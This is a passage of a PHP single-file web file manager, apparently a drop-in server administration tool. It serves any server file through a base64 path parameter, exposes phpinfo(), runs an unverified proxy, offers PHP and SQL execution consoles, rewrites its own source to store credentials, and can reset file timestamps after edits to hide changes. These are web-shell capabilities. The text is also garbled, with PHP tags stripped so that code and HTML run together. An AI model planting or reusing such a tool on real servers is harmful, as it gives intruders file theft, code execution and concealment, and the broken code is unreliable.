<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth_gown['cookie_name']]);
setcookie($auth_gown['cookie_name'], '', time() - (86400 * $auth_gown['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth_gown['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth_gown['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_headers = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_headers .= __('File updated');
if ($_POST['fm_login']['login'] != $auth_gown['login']) $msg_headers .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth_gown['password']) $msg_headers .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth_gown = $_POST['fm_login'];
}
else $msg_headers .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_headers .= __('File updated');
} else $msg_headers .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_headers .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file_get=base64_decode($_GET['img']);
if ($info=getimagesize($file_get)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file_get);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file_get=base64_decode($_GET['download']);
fm_download($file_get);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*)%i', '$1<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>=__('File manager')</title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
=fm_home_style()
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_headers)?'':'<tr><td class="row2" colspan="2">'.$msg_headers.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_gown['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_gown['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_gown['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_gown['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_gown['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_gown['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2>=strtoupper($res_lng) =__('Console')if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');</td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="=$url_inc.'&path=' . $path;">=__('Back')</a>
<form action="" method="POST" name="console">
<textarea name="=$res_lng" cols="80" rows="10" style="width: 90%">=$res</textarea><br/>
<input type="reset" value="=__('Reset')">
